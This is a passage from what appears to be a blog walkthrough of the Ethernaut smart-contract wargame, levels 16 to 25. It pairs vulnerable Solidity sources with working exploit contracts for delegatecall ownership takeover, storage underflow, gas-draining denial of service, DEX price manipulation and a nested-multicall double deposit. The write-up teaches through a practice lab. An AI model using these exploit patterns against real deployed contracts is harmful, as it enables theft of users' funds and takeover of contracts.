```
and we make `owner` at index 2, just like the original contract, so that, after the delegation call, victim contract will change the variable stored at index 3 in storage, thus chaning the owner of contract.
The general attack flow works like this:
1. calling `setSecondTime` to change `timeZone1Library`'s address to our attack contract's address
2. call `setFirstTime`; which is to call `setTime` function on our attack contract
3. on our attack contract, `setTime` will change ownership, but in caller's context since it's a delegation call
4. victim's `owner` will be changed to our address due to finishing delegation call
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./preservation.sol";
contract PreservationExp{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
address public target;
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _address) public {
target = _address;
}
function setTime(uint256 _time) public {
owner = msg.sender;
}
function exploit() public {
Preservation p = Preservation(target);
p.setSecondTime(uint256(uint160(address(this))));
p.setFirstTime(1);
}
}
```
Side note: I don't know why, but after calling `exploit` function the ownership is stil not changed. I had to call `await contract.setFirstTime(1)` in browser's console to make the final attack work.

## Level 17 - Recovery
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
```
### Analysis
The contract instance given to us is `Recovery`, and we don't know the address of `SimpleToken`. The goal of this level is to claim all the balance of the `SimpleToken` contract.
The `Recovery` contract doesn't do anything special. It creates a new instance of `SimpleToken`. Since we want to claim the current existing instance but not a new instance, so the `generateToken` function is pretty much useless.
Now look at `SimpleToken` contract. If our goal is to claim ethers, then the only function contains a transfer operation is `destory`. Recall from `Force` level, `selfdestruct` function will destory the contract instance, and transfer all the remaining ethers to another contract address.
Though, we don't have a obvious way to find token's address, but remember, in blockchain, all transactions are mined and it will on chain. Since on level creation `Recovery` will have to create an instance of `SimpleToken`, this create transaction will also be on chain. All we need to do is go on etherscan and look for internal transactions created by level initialization.
### Solution
In console, click the transaction detail link to look for transaction info:

Since we are given the hint that the balance of token is 0.001 ether, and we can quickly locate token address with that balance:

Next step is to create an attack contract, and call `destory` to claim ethers.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./recovery.sol";
contract RecoveryExp{
SimpleToken public target;
constructor(address _address) public {
target = SimpleToken(payable(_address));
}
function exploit() public {
target.destroy(msg.sender);
}
}
```
And we see we get 0.001 ether from target's address:

## Level 18 - Magic Number
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract MagicNum {
address public solver;
constructor() public {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
```
### Analysis
Hyper unrealistic to say the least. And because of that, I didn't dig too much. I read [this article](https://medium.com/web3-magazine/ethernaut-challenge-level-18-magic-number-671c611b7c18) to help me understand the solution. Basically saying, we need to construct a contract, contains a function and return the number 42. The requirements are: the entire size of contract can't exceed 10 bytes, so this involves some EVM opcodes writing.
The general logic is: we push number 42 onto stack, giving it an offset to store at, then return the value in memory at given offset.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract MagicNumberExp{
constructor() public {
assembly{
mstore(0, 0x602a60005260206000f3)
return(0x16, 0x0a)
}
}
}
```
`0x60` is the opcode for push, `0x52` is for mstore(offset, value), and `0xf3` is for returen(offset, length)
First, we push `0x2a` which is 42 on stack, then we push 0, when EVM pops stack to feed arguments for mstore, 0 will be the first argument and 42 will be the second one, this makes `mstore(0, 42)`. Then we want to return entire 32 bytes, and we want to return the value stored at index 0 in memory, it makes `return(0, 32)`.
In the contract code, `return(0x16, 0x0a)` is because, when we call `mstore(0, ...)` in the last line will reverse 32 bytes, and we want to only return the actual bytes containing opcodes, which is 10 bytes. This then makes the offset of runtime code to be `32 - 10 = 22 = 0x16`, and the length of runtime code is 10, obviously.
## Level 19 - Alien Codex
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import '../helpers/Ownable-05.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function make_contact() public {
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
```
### Analysis
The goal of this level is to claim ownership. `AlienCodex` extends `Ownable`, let's take a look at it's source code:
```solidity=
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
```
We can see that `AlienCodex` as a subclass of `Ownable` should also have a `owner` state variable. By calling `web3.eth.getStorageAt`, we can see it's at index 0 of storage.

We also need to worry about `contacted` modifier, we need to make sure `contact` is set to true first. And to achieve that, we need to call `make_contact`.
All the functions in `Ownable` is irrelevant in this level. The key to beat this level is to know that the EVM storage has the max size of `2^256` 32 bytes, also how dynamic arrays are stored in storage. And there is a possibility of integer underflow by calling `retract`.
If we try to inspect index 1, 2, and above of storage, we see basically all `0x0`s. Well, not quite, because at index it stores the length of `codex` array, since at start, the length is 0, so that's that.

I mentioned we can try integer underflow, and by calling `retract` with `codex` of length 0, we can see now at index 1, which implies the length of `codex`, is now `0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff`.

Now, let's talk about how values in dynamic arrays are stored in EVM storage. It's first index, which is 0, is stored at `keccak256(<index of array's length in storage>)` in storage. Sounds complicated, the example is, in this level, the index of storage where length of `codex` is stored at is 1. So, the start of dynamic array `codex`, `codex[0]` is stored at `keccak(1) = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6`, and the next element, `codex[1]` is stored at `keccak(1) + 1`, so `0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7`. We can verify this by setting `codex[1]` to `0xcafebabe`, then, in theory, index `0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf7` of storage should be `0xcafebabe`:

The rest is to calculate the offset to `storage[0]`, and set it to our address.
### Solution
We can think of the entire EVM storage like this:
|Index|Value|
|---|---|
|0|`contact` (bool), `owner` (address)|
|1|`codex.length` (uint)|
|...|...|
|keccak(1) (0xb1..f6)|`codex[0]`|
|keccak(1) (0xb1..f7)|`codex[1]`|
|0xff..ff|`codex[i]`|
|0xff..ff + 1 / 0 (overflows)|`contact` (bool), `owner` (address) / `codex[i+1]`|
With the table above, it should be clear on how we can modify ownership. We need to calculate the value of `i+1`, then call `revise` to modify it's value, and that's it.
The length of `codex` is now `uint(2**256 - 1)`, and to find `i`, we have `uint(2**256 - 1) - uint(keccak(1))`, then `i+1` should be `uint(2**256 - 1) - uint(keccak(1)) + 1`.
Here is the solving contract:
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import './alien.sol';
contract AlienCodexExp{
AlienCodex public target;
constructor(address _address) public {
target = AlienCodex(_address);
}
function exploit() public {
uint index = uint(2**256 - 1) - uint(keccak256(abi.encode(1))) + 1;
target.revise(index, bytes32(uint256(msg.sender)));
}
}
```

## Level 20 - Denial
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Denial {
using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
```
### Analysis
Upon submitting the level, the contract will call `withdraw`, and our goal is to deny the contract from executing `withdraw` successfully.
In the prompt, it mentioned that even with `revert()`, the execution flow will not be stopped since with `call`, transactions are reverted, but EVM will continue to execute the rest of codes. Then I tried to figure what else I can do to stop execution.
I thought about `assert`, it's also a exception throwing mechanics, but not quite the same as `revert`. `assert` will revert transactions, but it will also return an error of `INVALID OPCODE`, but `revert` and `require` will return `REVERT` in solidity after `0.4.2`, refer to [this blog](https://medium.com/blockchannel/the-use-of-revert-assert-and-require-in-solidity-and-the-new-revert-opcode-in-the-evm-1a3a7990e06e) to learn more about the differences among those functions. The `REVERT` error code will revert all transactions but it will also return the remaining gas to sender, so execution will continue since there is still enough gas to execute the rest of the codes. `assert` on the other hand, will not return the remaining gas to sender.
We know in EVM, it takes gas to execute codes, if there is no gas left, execution will also be stopped, thus we can deny the `withdraw` call.
There is another way to solve this level, that's to use an infinite loop in the `fallback` function. The concept is the same, drain all the gas to execution can't continue.
### Solution
As mentioned in previous section, we can utilize `assert` or an infinite loop to complete this level, to use `assert`:
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './denial.sol';
contract DenialExp{
fallback() payable external {
assert(false);
}
}
```
Use infinite loop:
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './denial.sol';
contract DenialExp{
fallback() payable external {
while(true){
}
}
}
```
## Level 21 - Shop
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
```
### Analysis
In a function with keyword `view`, it cannot modify state variables or emit events. Basically, it's a get function in OOP. The goal of this level is to buy the item with less the price than it asked. In other words, we need to make `isSold` be true and `price` less that 100.
There is a logic flaw in `buy` function, though. Notice when the function checks price using `_buyer.price()`, it sets `isSold` to true first, then it calls `_buyer.price()` again to set `Shop.price`. We can exploit this flow to change the value of `price`.
`Buyer` is an interface, which means we need to construct a contract implements `Buyer`, and overrides `price()` function. In our `price()` function, we can check if `isSold` is true, if it's set to true, then we know `price()` has already been called once and `Shop` is now setting `price`'s value. And we can then return a value which is lower than `Shop.price` to clear this level.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './shop.sol';
contract ShopExp is Buyer{
Shop public target;
uint public _price = 100;
constructor(address _address) public {
target = Shop(_address);
}
function exploit() public {
target.buy();
}
function price() override external view returns (uint){
if (target.isSold() == false){
return _price;
} else{
return 0;
}
}
}
```
## Level 22 - Dex
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract Dex is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
```
### Analysis
The goal of this level is to deplete at least one token from `Dex` contract. At start, we are given 10 of each `token1` and `token2`, and`Dex` has 100 of each. In total there are 110 of both tokens. In other words, we need to have at least 110 amount of at least one kind of token.
`Dex` has provided a few function for doing exchanges, in `swap`, we can see it first checks if `from` and `to` are address of `token1` and `token2`, then it makes sure the transfer amount does not exxceed holder's balance. After all checks are passed, it calls `getSwapPrice` to calculate new swapped amount for this exchange, to make it better to understand:
if we want to exchange 10 of our token1 to token2, then in `getSwapPrice`, it will yield `10 * 100 / 100`, and after this round, we have 0 token1, 20 token2, and `Dex` will have 110 token1 and 90 token2 since the total supply of both tokens are fixed.
|Round of Exchange|`Dex` Token1 #|`Dex` Token2 #| Player Token1 #| Player Token2 #|swapAmount|
|---|---|---|---|---|---|
|0|100|100|10|10|10\*100/100=10|
|1|110|90|0|20|20\*110/90=24|
|2|86|110|24|0|24\*110/86=30|
|3|110|80|0|30|30\*110/80=41|
|4|69|110|41|0|41\*110/69=65|
|5|110|45|0|65|45\*110/45=110|
|6|0|90|110|20|# 65-45=20|
### Solution
Since we have crafted out our plan to drain all of token1 or token2, let's put it into practice and see how things goes.


## Level 23 - Dex Two
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
contract DexTwo is Ownable {
using SafeMath for uint;
address public token1;
address public token2;
constructor() public {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
```
### Analysis
Different from last level, this level requires us to drain both of the tokens. It also modifies its code a bit.
We can see the major change is in `swap` function, instead of comparing address, it only checks the balance of `msg.sender` to be greater than amount to exchange. Also we notice it's call `IERC20(from)`, which means if we construct a malicious contract which implements `ERC20`, and we can fulfill this rquirement and proceed the exchange.
The general idea is to publish our own `ERC20` token, give it some initial supply, take its address and call `swap(malicious_address, token1, 100)`, and if our malicious contract has more than 100 tokens (which we certainly can make it happen), then the swap will succceed and we will get 100 of `DexTwo`'s token1. Resin and repeat, we can then use the same approach to drain token2.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts@3.4.0/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts@3.4.0/token/ERC20/ERC20.sol";
import '@openzeppelin/contracts@3.4.0/math/SafeMath.sol';
import '@openzeppelin/contracts@3.4.0/access/Ownable.sol';
import './dex2.sol';
contract DexTwoExp is ERC20{
constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
function approve(address owner, address spender, uint256 amount) public returns(bool){
super._approve(owner, spender, amount);
}
}
```
After deploying this contract to the network, we need to first approve certain amount so that we can continue do transfers.

Then we call the following code in browser's console:
```
await contract.swap(malicious_contract_address, await contract.token1(), 100)
```
And we see:

Since the last swap, `DexTwo` in our malicious token has balance of 100, we need to get rid of this 100 so `getSwapPrice` will transfer the right amount to us at once.

I basically just transfer all the token belongs to `DexTwo` to myself. Don't forget to call `approve(DexTwo, Player, 1000)` before transferring.
And repeat:

## Level 24 - Puzzle Wallet
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
```
### Analysis
We are given two contracts, one being a proxy contract, and another one being the actual application contract. Our goal is to claim admin on the proxy contract. That being said, the two contracts share the same address, it's like the frontend and the backend thingy. According to [Nick](https://medium.com/1milliondevs/solidity-storage-layout-for-proxy-contracts-and-diamonds-c4f009b6903), also, I'd recommand read the entire article, it provides crucial information on beating this level:
> Note: A proxy contract is a contract that delegates its function calls to another contract called a delegate contract or logic contract or facet.
Hopefully you have read Nick's article, and now we know proxy contract and its delegate contract share the same storage. From previous levels we can tell `pendingAdmin` and `admin` from `PuzzleProxy` stays in `storage[0]` and `storage[1]` respectively, and that's the same for `owner` and `maxBalance` in `PuzzleWallet`. Which means, modifying `admin` is equivalent as modifying `maxBalance` in `PuzzleWallet`.
We want to set `maxBalance` instead of directly modifying `admin` in `ProxyPuzzle` is because of the `onlyAdmin` modifier, we have to be an admin to set admin for ourselves, which creates a paradox.
We can see what it takes to modify `maxBalance`. We notice `setBalance` function in `PuzzleWallet`, but this function comes with a `onlyWhitelisted` modifier. Follow it, we know we need to be in the whitelist of `PuzzleWallet` to execute this function. It also requires the `PuzzleWallet` to have 0 balance. This means we also need to somehow drain all the ether in this address.
Let's look at how we can add ourselves to the whitelist. `addToWhitelist` functions doesn't require a modifier, but the `require` statement requires us to be the owner of contract. But wait... `owner` state variable is stored at the same place in storage as `pendingAdmin`. And we can set `pendingAdmin` without any restrictions by calling `proposeNewAdmin`.
It's good to know at least one problem is solved, and we now need to focus on how we can transfer `PuzzleWallet`'s ethers away. In `execute` function, there is a transfer function, but again, the require statement prevents us from transferring all the balance out. However, there is a `deposit` and `multicall` function. `deposit` function simply allows us to deposit ethers in this wallet, and `multicall` function...well, it allows us to do a multi function calls, it also checks if `deposit` function is called to prevent multiple `deposit` call abuse.
But hold on! What if we do a nested `multicall`? In the `multicall`, we call `deposit` first, and followed by a nested `multicall` inside this `multicall` to call another `deposit`. This way, we will call `deposit` twice and bypass the `depositCalled` check. It may sound a bit confusing:
```
// msg.value = 0.001 ether
multicall -> {
deposit()
multicall -> {
deposit()
}
}
```
And in `deposit`, the balance will increse twice since we called it twice. But by providing the amount only once. After this, the `balances[contract.address]` will be greater that contract's actual balance, hence we can call `execute` to drain all this account's ether.
After this, `address(this).balance` will be 0, and we can call `setBalance` and become the admin of `PuzzleProxy`.
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import './puzzle.sol';
contract PuzzleExp{
PuzzleProxy public pp;
PuzzleWallet public pw;
constructor(address _address) public payable{
pp = PuzzleProxy(payable(_address));
pw = PuzzleWallet(payable(_address));
}
function exploit() public {
pp.proposeNewAdmin(address(this));
pw.addToWhitelist(address(this));
pw.addToWhitelist(msg.sender);
bytes[] memory depositData = new bytes[](1);
depositData[0] = abi.encodeWithSelector(pw.deposit.selector);
bytes[] memory multicallData = new bytes[](2);
multicallData[0] = abi.encodeWithSelector(pw.deposit.selector);
multicallData[1] = abi.encodeWithSelector(pw.multicall.selector, depositData);
pw.multicall{ value: 1000000000000000 wei }(multicallData);
pw.execute(msg.sender, 2000000000000000, "");
pw.setMaxBalance(uint160(msg.sender));
}
receive() external payable {
}
}
```
When trying to exploit this level, I kept getting transactions failure error saying the transaction can't be done. Then it took me a while to realize I didn't give my attack contract any ether, so when doing a `multicall` with value, it doesn't have the ether to do so, thus causing a transaction failure.
I referred [this blog](https://blog.dixitaditya.com/ethernaut-level-24-puzzle-wallet) to complete the level.
## Level 25 - Motorbike
### Source Code
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
```
### Analysis
This level implements UUPS proxy contracts. This UUPS proxy contract allows the implementation contract, which is also the logical contract holds the code of upgrading. One purpose of proxy contracts is to let developers upgrade contract without the need to take down the old contract and publish the new one. Instead, developers can just use a proxy contract to interact with users, and when the actual contract which runs logical codes need to be changed, developers simply change the pointer in proxy contract to upgrade.
In this level, we can see `Motorbike` is the proxy contract, and we can interact with it. `Engine` is the implementation contract, which holds logical codes and codes to upgrade contract. Our goal in this level is to destory `Motorbike` contract which we interact with.
With some simple code review, we can look for how we can interact with both contracts. In `Motorbike`, other than this `fallback` function, it doesn't seem like we can call any functions. There is also this weird state variable called `_IMPLEMENTATION_SLOT`. From the last level, we know a proxy contract and its implementation shares the same EVM storage, in UUPS proxy contracts, all information about implementation contract is stored at this `_IMPLEMENTATION_SLOT` index in storage. We can check what's in this slot in storage:

Well, it looks like some address data. And with this, we know it's probably implementation contract's address. So, now, we basically have a way to interact with `Engine` contract, let's see how we can interact with it.
Again, not many functions can be called, other than `initialize()`. But it also comes with a modifier `initializer`:

This modifier checks if `initialize` has been called before, meaning `initialize` can only be called once. Trace the usage of `initialize` we can see in the constructor of `Motorbike` called it once, does that mean we can't call it anymore, though? Well, if we look closely, we can see it's called using `delegatecall`, but not directly. We know when `delegatecall` is called, all state change happens in the context of caller contract, which means in the context of `Engine`, `initialize` has still yet to be called.
Now, we can call `initialize` can become the upgrader of `Engine` contract, the next step is to exploit this `upgradeToAndCall` function. It lets us to upgrade implementation contract to a controlled address, and also lets us run code with `delegatecall`. Imagine, if we build a evil contract ourselves, and implement the logic of `selfdestruct` in it, with the `delegatecall` we call `selfdestruct`, and boom! We will beat this level!
### Solution
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import './motorbike.sol';
contract MotorbikeExp{
Motorbike public target;
constructor(address _addr) public {
target = Motorbike(payable(_addr));
}
function exploit() public{
address engineAddress = address(uint160(0x000000000000000000000000f7e99df138430af927d255a3442c5b1af6e0b2a4));
Engine engine = Engine(engineAddress);
engine.initialize();
bytes memory data = abi.encodeWithSignature("destory()");
